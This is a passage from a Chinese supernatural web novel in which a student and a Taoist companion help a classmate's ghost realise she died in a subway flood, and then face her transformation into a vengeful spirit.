傅清微第一个下车,在程玉汝解开安全带的同时拉开了副驾驶的车门,说:“谢谢师傅,给你五星好评。” 司机师傅笑眯眯:“好嘛。” 傅清微随手带上车门。 冬天天黑得早,夕阳自地平线沉没大半,照在人身上的光都是冷凄凄的。 半边弦月挂在东方。 傅清微送女生进了楼道,说:“你家住在3楼,301,千万别走错了。” “晓得。谢谢你送我回来。”程玉汝往昏暗的楼道里走了几步,回头露出雪白的笑脸,说,“同学这么久了,还没有你的联系方式呢,傅同学,你的电话号码多少?” 傅清微看向穆若水:“可以吗?” 穆若水沉下脸:“不可以。” 傅清微笑意自如地说:“我女朋友醋性大,不愿意。咱们不是有班级群吗?你可以从群里联系我。” “那好吧,傅同学再见。”程玉汝站在明暗交界的线里面,冲她用力地挥手。 “再见。”傅清微也冲她挥挥手,声音很轻地回道,几乎只能看到口型。 女生跃步进了楼道里,背影轻快。 傅清微却转过身,把脸轻轻地埋在穆若水的肩膀上。 穆若水没有伸手去抱她,站得笔挺如竹,说:“谁准你随便把号码给她的?” 傅清微闷闷的声音从颈窝传出来:“我不是征求你同意了吗?你不同意我就没有答应她。” “你就不怕出事?什么电话你都敢接?” “怕……” “怕你还敢动心思?” “她以前帮过我,而且大一军训的时候她就站在我旁边,还给了我一瓶藿香正气水。我们是同班同学。” “那你就能不顾自己的安危?”穆若水疾言厉色。 颈间忽然一阵汹涌的热意。 “你不要仗着我……”穆若水的指责到这里戛然而止,膨胀的气球被针戳了一个洞,再也吹不起来。 同窗之谊。 四个陌生的字眼浮上穆若水的心头,这也是人类丰富的情感之一吗? 她不懂人类,更不懂她怀里的这个人类。 傅清微喉咙哽咽,泪如泉涌:“对不起……” 穆若水:“不用向我道歉,你是人,想哭就哭吧。” “嗯……” “记得赔我件衣服。” “好。” 傅清微用了很多年来让自己的情绪不要外露,却只花了一个多月的时间重新变得敏感多情,她有了最大的依仗,心上的那层坚壳就此剥落,露出柔软跳动的鲜红的心。 有时候这颗心会刺伤穆若水的双目,让她愈发觉得自己是个阴暗的怪物,而更多时候她能够通过这颗心,去看见照亮世界的光。 傅清微没哭太久,擦擦眼泪冲穆若水露出乐观的笑容。 睫毛上还挂着眼泪,不施粉黛,脸庞依旧在穆若水的眼前亮了亮。 穆若水用食指的指背揩去她的泪水,说:“走吧。” “嗯。” “饿不饿?” “饿了。” “你们这里不是有很多馆子吗?要不要在外面吃,找个人少的地方。” “没钱了。” “我请你吃。” “谢谢道长。”傅清微勉强笑了笑,解释说,“我今天胃口不太好,留着下次行吗?” “……也好。” 穆若水知道她因为同学的事胃口不好,自己也哄过了,都愿意自掏腰包主动请她吃饭了,但是没有哄好,就不关她的事了。 穆若水心安理得地接纳了现状。 回程的出租车上,傅清微坐在车窗那边,降下的玻璃灌进的冷风都吹在她的脸上,出神地看着窗外,异常沉默。 穆若水擅于自我调节,戴着口罩开了另一边的窗户,降到最低,虽然没有傅清微的味道,但是也完全没有陌生人的气味了。 两人一前一后进了家门。 穆若水乖觉地在沙发窝着,不去打扰心事重重的年轻女人。 傅清微用手机发了条微信出去。 之后主动找到穆若水道歉:“我刚刚和程玉汝说你是我女朋友,是因为她……所以我没有多解释。” 穆若水视线落在书上,头也不抬:“对无关的人无需解释。” 傅清微讪讪一笑:“我还有很多同学都误会了。”她还和甘棠编了个离谱的故事。 穆若水摆摆手,不以为意。 “无妨。” 她不在乎这些。 傅清微嗯了一声,坐到她自己的单人沙发,解锁手机屏幕。 甘棠已经回复她了。 甘棠:【程玉汝妈妈的电话号码:15XXXXXXXXX】 甘棠:【你今天好奇怪啊,我记得你和程玉汝不熟】 傅清微:【有点事想求证一下】 拿到了程玉汝家里的联系方式,傅清微反而有种胆惧,指尖都冰冷,答案就要揭开在她面前,她却不敢去触碰真相。 最后她还是起身去了阳台。 穆若水的目光从书上移开,冲着阳台的耳根微动。 “阿姨您好,我是程玉汝的同班同学,我姓傅。她今天下午没来上课,我想问问她……谢谢阿姨,您也是……我会找时间去看她的……一定会的……” 挂断电话,她在阳台沉默了很久,回来就坐在沙发上发呆,手里还握着手机。 穆若水善解人意地给她倒了一杯水,放在她面前,说:“你应该相信自己。” 傅清微苦笑:“万一是我看错了呢,总还是抱有一丝希望。” “总不会我们俩都看错。” “你说得对。”傅清微依旧攥着手机,垂下眼眸,“也不知道她平安到家了没有。” 穆若水顿了顿,生疏地拍了拍她的肩膀,以作安慰。 甘棠:【我X,你快看群里!!!】 甘棠:【我整个人手都凉了,打字的手在抖】 甘棠:【你是不是提前知道了什么?】 傅清微打开班级群聊,辅导员发了一条@全体成员的群消息,面对简单的文字冲击,一片静默无声。 整整十分钟过去,才有人回复了第一句:【确定是真的吗?】 辅导员:【千真万确】 群里再次许久的鸦雀无声。 傅清微关闭了手机。 她目光茫然在屋子里转了一圈,在酸意从鼻梁涌到眼眶之前深呼吸,克制地起身走向卧室,说:“我去洗澡了。” 穆若水:“去吧。” 傅清微拿了睡衣进了浴室。 穆若水以为她又要洗半个小时以上,没想到二十分钟就出来了,眼皮也很完美,没有红肿的痕迹,她向傅清微招了招手,傅清微坐过去,穆若水打开胳膊,她自然地靠在她怀里。 穆若水低头,将下巴搁在她发顶。 “虽然我现在说这样的话未免不合时宜,但是我觉得天底下,没有比我更了解你的人,我总是知道你在想什么。”了解和赞同不一定划等号,但这种独属于她们俩的链接让穆若水着迷。 “是,没有人比你更了解我。” 从傅清微身上的封印失效开始,从灵管局和蓬莱观在她面前初步揭露面纱开始,她就已经越过了那条凡人的界限。 她不可能再和任何一个凡人建立亲密关系。 她的世界光怪陆离,也许将来会宽广深厚,海纳百川,但穆若水是最初和她建立链接的人,也是她的引路人。 她会走上一条全新的道路。 包括她唯一的好朋友甘棠,都会因为她选择的新道路而被排除在世界之外——留在那个安全的世界之中。 傅清微:“我有些累了。” 穆若水收回手,放下交叠的长腿,把沙发腾给她:“睡吧,晚安。” 傅清微忽然笑了一下。 这是在今晚的沉重里唯一鲜活的颜色。 穆若水没意识到她主动说了晚安,过耳即忘,傅清微也不打算点破,把被子拉到肩膀,带着笑意说:“记得关灯。” “你也是使唤起我了。”穆若水弹指给她表演了一个隔空关灯。 “厉害厉害。”傅清微在月光照明的客厅里捧场。 穆若水没理会她低级的吹捧,进了卧室。 傅清微睡了两个小时准时起来,打坐做晚课。 房间里已经睡了的穆若水被诵经声吵醒:“……” 不是,也太用功了吧。 她整个人滑进被子里,罩住了脑袋。 日子平平淡淡地过了三天,一个吃完晚饭的夜晚,傅清微收到了一条陌生私聊。 程玉汝:【傅同学,我怀疑我家里不干净】 在傅清微看完消息的下一秒,这些字仿佛从来没有出现过,像空气一样消失了。 【为什么发不出去???】 【救我——!!!】 第40章 【救我——!!!】 这两个字一发出也从屏幕上凭空消失, 像是伸出地面的手被重新拖入黑暗,捂住声息。 傅同学…… 傅同学……救我…… 程玉汝的声音仿佛就在耳边,和着溺水的气泡, 奄奄一息地挣扎向她求救。 明知是幻觉, 傅清微还是心脏压抑得喘不过气, 丢下手机,两只手用力捂住自己的耳朵, 把脸埋进胳膊里。 穆若水捡起手机, 看着正常的班级群界面,挑了挑眉问她:“看到了什么?” 傅清微低声说:“程玉汝给我发消息了, 让我救她。” “她还说她家里不干净。” “我就知道。”穆若水在她身边坐下, 道,“你还想把号码给她,她打你电话怎么办?” 傅清微看了她一眼, 小声说:“让你接。” 穆若水被她气笑了。 “你就这么相信我?不怕我出事?当然, 我肯定不会出事,我是说假如。” “我下午也是一时冲动。”而且懂得先征询穆若水的意见,没有完全冲动。 “现在你的想法呢?” “她恐怕还不知道真相, 而且不知道她家里怎么回事,万一真的有别的东西。” “想回她消息?”穆若水了然道。 “有点。” 傅清微皱起眉头,还没说自己的顾虑,穆若水便点头道:“那就回。” 傅清微愣住了。 穆若水顿了顿:“放手去做, 万事有我。” 傅清微第一次正面和那东西打文字交道,手心都出了汗, 点开消息框回复:【程同学, 你在吗?】 【我在我在我在我在我在】 像无数个波浪扭曲的符号,白墙的灰缝流出血红的文字。 傅清微咽了咽口水, 定下心神。 【你能看到我吗?刚刚不知道怎么回事,消息发不出去】 【刚刚我联系了好几个朋友,只有你回复了我,我好害怕】 【怎么记录又在消失?你收到了吗傅同学?】 傅清微:【收到了】 程玉汝:【我家里有脏东西,我怀疑它盯上我了,你还在吗?】 傅清微:【还在,但是现在太晚了我不方便上门,你现在安全吗?】 程玉汝:【暂时安全,我躲在衣柜里,谁也找不到】 傅清微:【明天我们约个地方见面好吗?在你家附近的咖啡厅怎么样?】 傅清微把编辑好的文字给穆若水过目,穆若水点了头她才发送出去。 程玉汝:【好,就那家青鸟咖啡吧,你什么时间有空?】 傅清微:【我有个兼职,很晚才下班,傍晚五点半吧】 程玉汝:【好,明天见,傅同学,现在只有你能帮我了】 傅清微回了一个ok的表情包,聊天页面的消息从上到下渐渐地都消失了,空无一物,深夜里分外诡异。 傅清微把一片空白的手机彻底放下,松了一口气说:“我刚刚特别怕她问我为什么她发的消息别人看不见。” “她要是问了呢?” “我只能说受地磁暴影响,磁场紊乱,用科学的方式去解释迷信。”就像官方宣布的海市蜃楼一样。 “还不打算告诉她真相?”穆若水挑眉。 “明天看看具体情况再说。”傅清微承认自己有部分拖延的心思,让她自己发现,也比她亲口拆穿事实要好得多。 穆若水轻轻拍了拍她的脑袋。 傅清微在她拍完两下以后用手挡住,最近道长越来越喜欢对着她这颗脑袋做文章了。 不是拍就是揉的,不知道是什么独特的新癖好。 穆若水:“做完晚课早点睡觉,别吵到我。” 傅清微马上反应过来:“……我昨晚吵到你了?” 穆若水面不改色:“没有,未雨绸缪。” 傅清微哦了一声。 穆若水趁她不备手又出现在她的脑袋上,飞快地rua了一下,背手后退,若无其事道:“我去休息了。” “……”傅清微说,“晚安。” “晚安。” 也不过七八点,穆若水不看书的时候睡得早,没什么娱乐活动。傅清微降低了诵经的音量,洗澡的时候也轻手轻脚的,不到十一点就上沙发睡觉了。 夜风送来一阵好眠。 白天傅清微根本没有兼职,上午她去菜市场囤了一周的食材,中午死乞白赖求道长教她做菜,穆若水大骂她朽木不可雕,接手做了道蒜泥白肉和红烧茄子,傅清微“含泪”吃了一大碗米饭,一扫而空。 下午傅清微给占英打了个电话,占英已经清醒了,前两天回了她微信,就是还在住院,至少半个月卧床静养。 “占科,是我,傅清微,有件事向你报备一下……” 天气软件显示日落时间下午5:52分。 五点钟的时候阳光就没有温度了,丝丝缕缕的寒风无孔不入,钻进人的脖子。 傅清微后脖颈一阵凉意,穆若水见了把围巾解下来给她,说:“逞什么能?”就一条围巾,出门非给她围着。 傅清微也不逞强,从善如流地绕了好几圈,上面还残留着女人的体温。 “好暖和。”她跺了跺穿着羊皮短靴的脚,看向马路对面的青鸟咖啡。 “也不知道程同学到了没有?”她自言自语道。 傅清微特意早到了半小时,和穆若水一块进了咖啡厅,下午茶时间刚过,晚上的高峰期还没到,咖啡厅只有小猫三两只,彼此都坐得非常开,舒适安静。 两人找了个角落的位置,并肩坐在服务台能看到的卡座,把视野死角留给了第三个人。 五点一刻,咖啡厅门口的风铃响了。 “欢迎光临。”柜台唯一的服务员抬头端出礼貌标准的笑容。 门口却空无一人,风铃兀自摇动。 原来是风吹的。 服务员低头,转身继续擦拭整理架子上的杯具。 程玉汝路过服务员的背影,走进咖啡厅,傅清微站了起来,走到卡座外面,停留了一会儿。 程玉汝兴奋招手:“傅同学。” 连忙朝她跑了过来。 程玉汝坐在了两人对面,问:“你们俩想喝点什么?” 傅清微不动声色:“我们两个人,你一个人,还是我们请你吧。服务员,三杯咖啡。你想喝什么?” 程玉汝笑道:“那好吧,下次我请你们俩吃饭。一杯摩卡,谢谢。” 她对上前的服务员抬头说道。 傅清微:“一杯摩卡,两杯卡布奇诺,谢谢。” 服务员记好单子下去。 三杯咖啡都放在傅清微那边,她端了一杯到对面,着急倾诉的程玉汝根本没注意,在服务员走后迫不及待开口:“我家里人不对劲。” 穆若水好奇地尝了一口卡布奇诺,唇边一圈奶泡,舔又舔不到。 傅清微给她递了张纸巾,问程玉汝:“具体怎么不对劲?” 程玉汝看着她们俩顿了一下,才娓娓道来。 原来那天她回到家以后,就觉得家里怪怪的,屋子里冷飕飕的。 “我妈爸经常不在家,以前从来不这样。我妈要孩子要的晚,三十多岁才有的我,今年已经退休了,我爸还有两年,好不容易快退休了工作清闲下来,就爱在家待着,种种蔬菜,不是我妈要出门他能一天不迈出家门。傅同学,你怎么了?” “没什么。”傅清微端起咖啡喝了一口,垂睫掩饰忽然泛红的眼圈。 “你继续说。” “这三天我都在家,见到他们的次数屈指可数。我睡了他们还没回来,我醒了他们已经出门了。” 前天晚上,程玉汝干脆没睡,在房间等她妈爸回来,深更半夜,老两口终于姗姗来迟。 吱呀—— 沉重的开门声响起,程爸爸弓着腰走了进来,程妈妈扶着他一边胳膊,但程爸爸的背还是越躬越深,脸上却满是复杂的幸福。 “回家了,到家了。” 玄关的地毯积了一摊水,程爸爸走到客厅,脚下也满是水迹。 水是从他身上淌下来的。 程妈妈:“休息一下吧。” 程爸爸说:“我不累。我从小背到大的,累什么?” 他就带着满身的水从客厅走向卧室,程玉汝分明看到他背上压弯了他腰的——那一团水草似的东西在蠕动,从缝隙里睁开一只布满红色血丝的眼睛。 眼珠四下转动,和缝隙里偷看的程玉汝四目相对。 程玉汝吓得放声尖叫,退回卧室里,砰的关上门。 傅清微:“你看清那是什么了吗?” 程玉汝心有余悸:“我爸后来转到了背面,我看到应该是个人,是个小孩。” “小孩?”傅清微和穆若水互视了一眼,没有说出自己的猜测,问程玉汝:“你有什么想法?” 程玉汝笃定道:“我怀疑他两个想要二胎。但是年纪大了怀不上,于是走歪门邪道,招来了小鬼,那小鬼估计还是淹死的,我看到它身上的皮肤是青色的,脚背又青又紫。” 傅清微:“……” 想法过于天马行空,但由于这个想法深层的原因傅清微笑不出来。 或许她不是独生女会更好一些。 程玉汝:“他们俩现在心里只有老二,每天对着它自言自语,不仅招小鬼,还养小鬼,将来不知道要出什么事。傅同学,你一定要帮我。” 傅清微沉默片刻:“为什么找我?” 程玉汝愣了一下,轻轻地说:“我也不知道,因为我在学校呆了那么久,只有你理我了吧?” “我想去你家里看看。”傅清微站了起来。如果那东西是真的,它不能留在程家。 “璟珑花园5栋301。” “我知道。” “我就先不去了,你们去吧。”程玉汝低着头,抠着自己的手,“我妈爸最近都对我视若无睹,我也不想见他们。” “那我们去去就回。” 程玉汝不在,反而更方便傅清微行事。 她来到301的门口,闻到了一股奇怪的味道,像是燃烧之后的味道,很淡。 穆若水示意她敲门。 傅清微抬手叩门。 叩叩—— “来了。”里面传来一个声音,只开了一条门缝,露出一张细微皱纹的脸。现代五十来岁的人,不常年从事体力劳动,不太显老态,只是气色过分苍白。 “是程玉汝的妈妈吗?我是她的同学,我姓傅,前几天晚上给你打过电话的。” “我记得你,是来看玉汝的吗?” “是的阿姨。” 程妈妈拉开了门,拿了两双拖鞋,对二人说:“最近我们不在家,家里不常来人,请自便,想喝点什么?” “水就好了,谢谢阿姨。” 傅清微穿好拖鞋,把临时买的补品提进来放在墙边,抬目打量程玉汝的家,窗明几净,墙角还摆着绿植,阳台上用盆栽种着一些蔬菜,长势喜人。 从布置和生活气息能看出是一个幸福的三口之家。 傅清微看了好几圈,终于看出了不对劲的地方。 穆若水:“太正常了。” 傅清微:“是。”完全看不出这家人刚经历了丧女的惨痛。 没有灵堂,没有停尸,倒是有程玉汝的照片,是挂在墙壁,摆在茶几、餐桌、电视柜随处可见的全家福,没有一张黑白照片。 除了若有若无的檀香味,既然不在客厅,就是有人在房间里点了香。 程妈妈倒了两杯水过来。 傅清微试探着问了一句:“玉汝呢?” 程妈妈下意识回答:“我去叫。” 傅清微心一沉。 程妈妈改口说:“我们把她放房间里了。” 傅清微露出适当的悲怆:“我可以去看看吗?” 程妈妈委婉地说:“不太方便,你也知道,不太好看的。” 傅清微换了个切入口:“叔叔在家吗?我们也想探望一下叔叔。” “他……” 正说着,程爸的声音出现了,主卧的房门随即打开,门缝一闪而过透出红色的光,檀香味更浓了。 程爸看起来憔悴很多,可能有年纪比较大的缘故,快六十了,初见苍老,两鬓都白了,不知是不是这几天新添的。他如程玉汝所描述的那样腰永远弓着,两手往后仿佛托着什么人。 傅清微和穆若水默契地装作都看不到他背上趴着的东西,彼此相安无事。 傅清微站起来,礼貌地半鞠了一躬:“叔叔你好,我是程玉汝的同学,我姓傅,特地来探望你们。” 程爸笑笑:“傅同学,你有心了,我们俩都挺好的。” 程妈妈也笑着附和说:“是啊是啊。” 傅清微悲哀地心想:是挺好的,只是疯了。 他们把一个不知道从哪里、用什么特殊方法招来的水鬼,当成了自己的女儿,打算就这么一家三口永远过下去,永远是一家三口。 她本来就不知道怎么向程玉汝坦白她已经亡故的真相,现在又要怎么开口告诉她,她的母父因为她的去世成了这副模样。 傅清微强撑精神慰问了几句,携穆若水匆匆告辞。 来到楼下,穆若水对她说:“你等一下。” 她消失了大概不到五分钟,回来告诉傅清微,程家的主卧里摆了一个聚阴阵。 聚阴阵,顾名思义就是用来聚集阴气的,可以滋补阴魂。理论上来说,只要瞒天过海,过完头七天,顺利躲过阴差,就可以把阴魂留下来,依靠阵中的阴气滋养生存。 只是这种阴气十足的东西,凡人沾上总不会有好处,又朝夕相伴,少不得要损耗寿命。老两口估计也是知情的,但他们心甘情愿。 傅清微:“会是谁摆的阵法?” 穆若水:“这不重要,民间不乏能人异士,聚阴阵也不算非常高级的阵法。许是他们想法子找到了有点真本事的人,对方愿意接这个活。”招了程玉汝的魂并且养在家中。 傅清微叹了口气。 她正要问为什么会招来不相干的魂魄,突然想起一件要紧的事:“糟了!今天是第几天了?” 穆若水知道她在说什么,回道:“第七天。” 民间对“头七”非常看重,傅清微不懂为什么,但既然流传下来,必定有它的道理。 她现在已经是一个不那么坚定的唯物主义者了。 傅清微问:“头七过后,程玉汝会怎么样?” 穆若水似乎很欣慰她能主动想到这一层,耐心地说:“头七一般是回魂的日子,看看亲人了却执念,转世投胎。程玉汝有些特殊,她魂魄残缺,不能投胎,又不知道自己已经死了,大概率会变作游魂一直游荡下去,慢慢失去生前的记忆,直到彻底消散。” 傅清微一凛:“如果始终没人告诉她她死了呢?” “她会一直痛苦于没人看得见她,却不知道为什么,自以为是人,实际上是鬼。不死不活,不人不鬼,永不得解脱。” “你为什么不早告诉我?” “你也没问我啊。” 傅清微眼圈微红,看了她一眼,扭头冲咖啡馆的方向拔腿跑去。 穆若水慢吞吞地跟上,步伐不快却始终跟在傅清微后面两三步的距离。 她自言自语地嘟囔了一句:“又不是来不及。” 离子时还有整整两个时辰呢。 铃铃铃—— 门口的风铃清脆作响。 “欢迎光临。”柜台后的店员抬起头端起标准的微笑。 傅清微冲进来,直奔角落的卡座,桌上的咖啡早就被收走,原本坐在这里的女生也不见踪影。 “你好,你有没有看到一个……”她三步并作两步冲到柜台前,急急忙忙向一脸茫然的店员描述,刚说了一半便难以继续,她喉咙哽咽了一下,说,“对不起。” 傅清微回到了大街上,像一根针落进了大海,举目四望,无从寻起。 找人还能有办法,人看不见的东西毫无办法。 “程玉汝——”傅清微边走边喊,眼眶通红,丝毫不顾忌身边行人把她当神经病的表情。 “你在哪里——” 一个小时前。 青鸟咖啡馆。 程玉汝两手托着脸看玻璃窗外的风景,格子桌布上的咖啡杯早被收走,她坐久了又有点口渴了,招手道:“你好。” 服务员充耳不闻。 “你好,这里点单。” 叫了几次都不应,程玉汝把抬起来的手放下来,走到柜台,当着咖啡店员的面敲了敲台面,说:“点单,听不见吗?” 店员视若无睹,还和另一个新来值班的店员聊天,有说有笑。 “算了。”没礼貌,她不喝了还不行吗? 程玉汝离开了咖啡厅。 她沿着小区门口的路一直往前走,她中学时期就搬到这条街上了,街边有很多老店,卖衣服饰品的,物美价廉,程玉汝忙着卷工作实习,好久没有过来逛了。她兴致勃勃地进了几家店,挑了几样饰品结账,但熟悉的老板都不理她,她也不知道为什么。 老街再往前走是小吃街,有一家江湖小面,老板的手艺一绝,程玉汝打算进去吃碗面。她记不太清了,好像有段时间没吃饭了,应该是饿了。 店里放着一台电视机,斜对着大门口,正在播放本地台的晚间新闻。 主持人沉痛的声音从电视机里传出来,坐了好几桌顾客的店里沉默无声,静静观看新闻。 “……永远记住,不会忘却。” 安静的面馆有人吸了吸鼻子,抽纸巾的声音。 程玉汝进门的脚步顿了一下,看向蓝色新闻标题。 【深切缅怀12.9特大暴雨灾害遇难者同胞】 程玉汝慢慢地眨了一下眼睛。 官方正式公布了地铁1号线遇难者名单,一共十个人。 …… 程某汝,女,21岁,职业:学生。 …… 傅清微在穆若水的指路下,紧赶慢赶终于看见了程玉汝的背影。 她正呆呆地站在一家招牌老字号的面馆前,仰着脸,不知道在想什么。 傅清微忽然有些不敢上前。 程玉汝转过身来,朝她笑了一下,两行清泪却从她的颊边滚落。 “傅同学,我想起来了,我已经死了。” 傅清微喉咙里堵了一团软软的棉花,一个字也说不出口,死死地掐住了自己的指节。 越来越多的泪水从面前的女生眼眶涌出来。 “我不能死啊,我死了我的妈爸怎么办?他们只有我一个女儿,他们只有我了。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 40-50 第41章 程玉汝一早起来, 听见她妈妈在讲:“怎么这雨下一晚上还不停的?” 话是这样讲,但窗户还是开了一条缝,要通风嘛。雨丝和风一起飘进来, 细细的几缕, 扑在脸上凉凉的。 程爸爸的蔬菜盆栽都移进了室内, 正拿小喷水壶浇水,每一根叶子都透亮。 程玉汝从卧室打开门, 打着哈欠去卫生间洗漱。 程妈妈看了眼时间, 对程爸爸说:“幺儿今天又吃不成早饭了,也不知道起早一点。” 程爸爸小声说:“一会千万别提这茬, 她昨晚加班到十二点过, 我起夜还看到书房灯亮着呢,让她多睡会儿吧。” 程妈妈心情复杂:“你说咱们那会儿苦是苦点,至少有奔头。怎么现在生活越来越好, 年轻人压力反而越来越大呢, 才刚上了几天班,幺儿整个人瘦了一圈,话也少了。” 程爸爸看见女儿从洗漱间出来, 忙朝程妈妈摇摇头,程妈妈擦擦眼角。 在窗边的老两口望过来一块对女儿露出笑容,程玉汝也回了一个笑容,早八的清晨有气无力:“妈, 爸。” 程玉汝换好上班通勤的衣服,餐桌已经摆好了丰盛的早餐。 程玉汝直奔玄关穿鞋:“我不吃了, 上班来不及了。” 程爸爸紧走两步, 把一把折叠自动雨伞递给她:“外边下雨呢,莫淋湿了。” “谢谢爸。妈, 我走了啊。” 尾音落下之前,大门就已经匆忙摔上了。 程妈妈对着满桌的早餐毫无胃口,忍不住迁怒在对面吃早饭的程爸爸:“女儿都上班去了,你还坐在这里干什么?!” 程爸爸无奈:“我九点上班,现在才七点二十,单位大门还没开呢。” 程妈妈勉强吃了几口,搁下筷子。 “咱俩辛辛苦苦赚钱买学区房,供她上大学,毕业出来给资本家当牛马。当初不如把这钱给她攒着存起来,现在还能过得开心点。” “当时哪能想到那么远,大家都一样。” “老程,单位想返聘我,要不我回去再干几年,给幺儿多攒点钱。” “五十多岁正是闯的年纪,我没意见。”程爸爸竖起大拇指。 程妈妈终于笑了一下。 程玉汝打着伞从地铁站出来,七点五十刷卡进了大楼,裤脚都是泥水,她在电梯外面弯腰用纸巾擦拭,站着很多和她同样的人,雨伞淌水,无人开口,电梯轿厢一波一波地吞吐人类,像一场恐怖的默片电影。 她坐到自己的工位上,从脚下的一箱小面包里扒拉出几个放办公桌,打算待会边干边吃。 凌晨加班的文件在包里,程玉汝打开自己超大的托特包,正要取出文件,手指却触到了软软的东西,还带着温度,是用锡纸包好的一层又一层。 【小熊一家人(3)】 【熊爸爸】:偷偷在你包里放了早餐,爸爸亲手做的包子,鲜肉香菇馅儿的,记得吃@玉汝于成 【熊宝宝】:[躺平摸肚子.jpg] 她只吃了一个,就被领导叫走了,其他的放到凉透也没顾上。 办公室有一面墙是一整面的落地窗,刚好可以看清这场大自然的风暴。午休的时候同事在落地窗前端着咖啡杯自拍,一边P图发社交软件一边抱怨这鬼天气还要上班,程玉汝也瞧了一眼,继续对着电脑办公。 暴雨如注,天边响起一声闷雷。 程玉汝桌子上也放下一叠文件,同事丢下一句:“急用,下班前整理完,表格发我邮箱。” 程玉汝张了一下嘴,对方已只剩下一个背影。 可是……这不是她的工作啊。 办公室的灯都关了,同事们戴着U型枕在黑暗的空间小憩,程玉汝对着亮屏的电脑屏幕,敲键盘的声音尽量放轻。 因为连绵的大雨,难得准时下班,程玉汝和往常一样把当天没完成的工作装进包里。 公司去地铁站的路已经积了水,和人行道持平,程玉汝撑开雨伞,穿着姜黄色的薄呢大衣,像一个微不足道的雨点融进了雨幕当中。 程妈妈:【你爸爸中午提前下班了,忙活了一下午,晚上做你爱吃的水煮鱼】 程爸爸:【还有白灼虾,程女士特调的海鲜酱汁,独家配方噢】 程玉汝:【好香】 程玉汝看向已经驶来的列车,打字道:【我上地铁啦,很快就到家】 步入地铁的那一瞬间,程玉汝的心松快了一下,脚步变得轻盈,至少她还有相爱的家人,她要奔向的终于是家的方向。 17点35分。 积水冲垮挡水墙,进入地铁站内,水位以肉眼可见的速度上升,工作人员见势不妙,接上级命令,开始组织疏散。 程玉汝乘坐的1号线列车经过数次急停后再一次停下,隧道内一片漆黑,只有车厢里的灯光作为照明光源。 起初人们还不知道发生了什么,直到车窗外面的水急剧上涌。 有人开始打电话向地面求援,列车长一边来回巡视车厢一边不断联系救援,尝试自救。 洪水灌进车厢,人们尖叫、哭泣,过后互相安抚、慰藉,节省氧气,保持体力。 恐慌过后是异常的静默,人们不约而同地拿出手机向朋友和家人交代后事。 列车长带领人们往地势高的车厢撤退,水还是不断地往里涌,从小腿,到腰,一直没到胸口,一大半的人已经淹到了脖子。 很快有人出现了缺氧的症状。 头晕、喘不上气,干呕此起彼伏,人们陷进汪洋的水中,宛如囚进水牢。 被困整整四个小时,救援人员终于突破重重困难赶到,但对有些人来说,已经太迟了。 程某汝,女,21岁,职业:学生。 被救出时呼吸停止,送医后抢救无效死亡。 手机里躺着几条发送给母亲的微信,是她留给这个世界最后的声音。 【地铁进水了】 …… 【回不去了】 【妈妈】 程妈妈扑在被蒙上白布的女儿身上,哭晕了过去。 程玉汝的鬼魂和被成功解救的人们一起出了地铁站,站在雨后漆黑的夜晚,想回家却忘记了怎么走。她漫无目的地在街上游荡了许久,回到了眼熟的学校,她们的宿舍楼。 无处可去,她待了快两天,从站着变成蹲着,终于有一个轻哑克制的声音响了起来:“程玉汝?怎么会是你?” 明明穿在她身上却留在了宿舍椅子上的大衣,网约车司机看不见的副驾驶,怎么走也无法自己回去的家。 傅清微在阳台给程玉汝的妈妈打电话。 “阿姨您好,我是程玉汝的同班同学,我姓傅。她今天下午没来上课,我想问问她还好吗?” “她……前天去世了。谢谢你的关心,请节哀。”电话里传来痛苦的哽咽。 “谢谢阿姨,您也是,节哀顺变。” 【计科1班(50)】 辅导员:【@所有人接到一则不幸的消息,我班程玉汝同学在此次暴雨中,被困于地铁1号线,不幸遇难离世。望各位同学节哀顺变,葬礼及身后事宜待学校了解后另行通知。】 同学1:【确定是真的吗?】 辅导员:【千真万确】 联系不上的朋友,发不出去的消息。 【为什么我发不出去???】 【救我——!!!】 【刚刚我联系了我好几个朋友,只有你回复了我,我好害怕】 【怎么记录又在消失,你收到了吗傅同学?】 原来一切都是因为她已经死了啊。 “我不能死啊,我死了我的妈爸怎么办?他们只有我一个女儿,他们只有我了。”程玉汝流着眼泪,眼泪变成了血泪,在说到最后一个字的时候从哭诉变成了尖利不甘的一声长啸。 街边的路灯爆闪了两下炸裂,碎片毫无征兆激射向四周。 “小心!”穆若水伸臂揽过傅清微的腰,带着她疾速后退,离开了碎片伤人的范围。 面馆吃面的顾客听见外面爆裂的巨大一声马上跑出来看热闹,被傅清微扭过头大声喝止:“不要出来!” 明明是张年轻至极还有点像学生的脸,却冷峻严肃,吃瓜的中年人不由自主地停步,犹豫了几秒最终听话地回去了。 傅清微露在外面的皮肤骤然感到温度下降。 程玉汝所在的地方凭空刮起了一阵阴风,她的脸庞几经变化,从生前的柔美文静变成了窒息而亡的青紫色,整张脸都变成青色,眼下有红色的泪痕。 ——像是傅清微见过的恶鬼的样子。 她的两只手从大衣里伸出来,青色指甲也在慢慢长出来。 傅清微不敢相信:“为什么会这样?” 穆若水看戏的口吻,平淡地说:“放不下,就会这样。” “她会变成厉鬼吗?” “不太能,她死在天灾里,连个仇人都没有,何来的恨?”穆若水话锋一转,“但是会不会去纠缠她的家人就不知道了。对善良的人来说,比起恨,爱更难放下。” 傅清微看着逐渐变得面目全非的同学,不觉得可怕,只觉得悲伤和可怜。 穆若水:“虽然不会变成厉鬼,但不代表她不会害人。” 傅清微猛地扭头:“什么?” 穆若水努努下巴,对着不远处说:“喏,失去理智了。” 傅清微顺着她的视线望去,程玉汝已经彻底变鬼,指甲暴涨,望向她的眼神全然陌生,流淌出实质的怨毒。 她也是鬼,傅清微在鬼眼里是块香饽饽。 程玉汝一声鬼啸,变指为爪,攻了上来。 傅清微抬手挡在自己的面前,手腕的佛珠迸出一阵金光,将她牢牢护住。 程玉汝刚刚化形的小鬼,奈何她不得,围着她转圈圈,发出吞咽的声音。傅清微叫了她名字好几声,一点反应都没有。 “道长!” 在旁边看戏的穆若水:“怎么了?” “你怎么还不动手?!” “你确定?我动手她就灰飞烟灭了。”穆若水袖手道。 “……” 傅清微:“帮我控制住她,但不要伤害她。” “凭什么?” “我回去帮你剪指甲。” “你还好意思说,上次你就忘了!”不说还好,一说穆若水怒从心起。 “我那不是……”傅清微心虚道,正好是送程玉汝回家的那天,她心情不好,就把这事给忘了,“这次一定!” “我再信你最后一次。” 穆若水轻哼一声,对着那位觊觎她的人的小鬼朗声道:“你爸妈已经有新的女儿了,你还留在人间干什么——” 程玉汝转过来恶狠狠地盯着她。 穆若水负手,轻描淡写:“不信?你自己回家看看。” 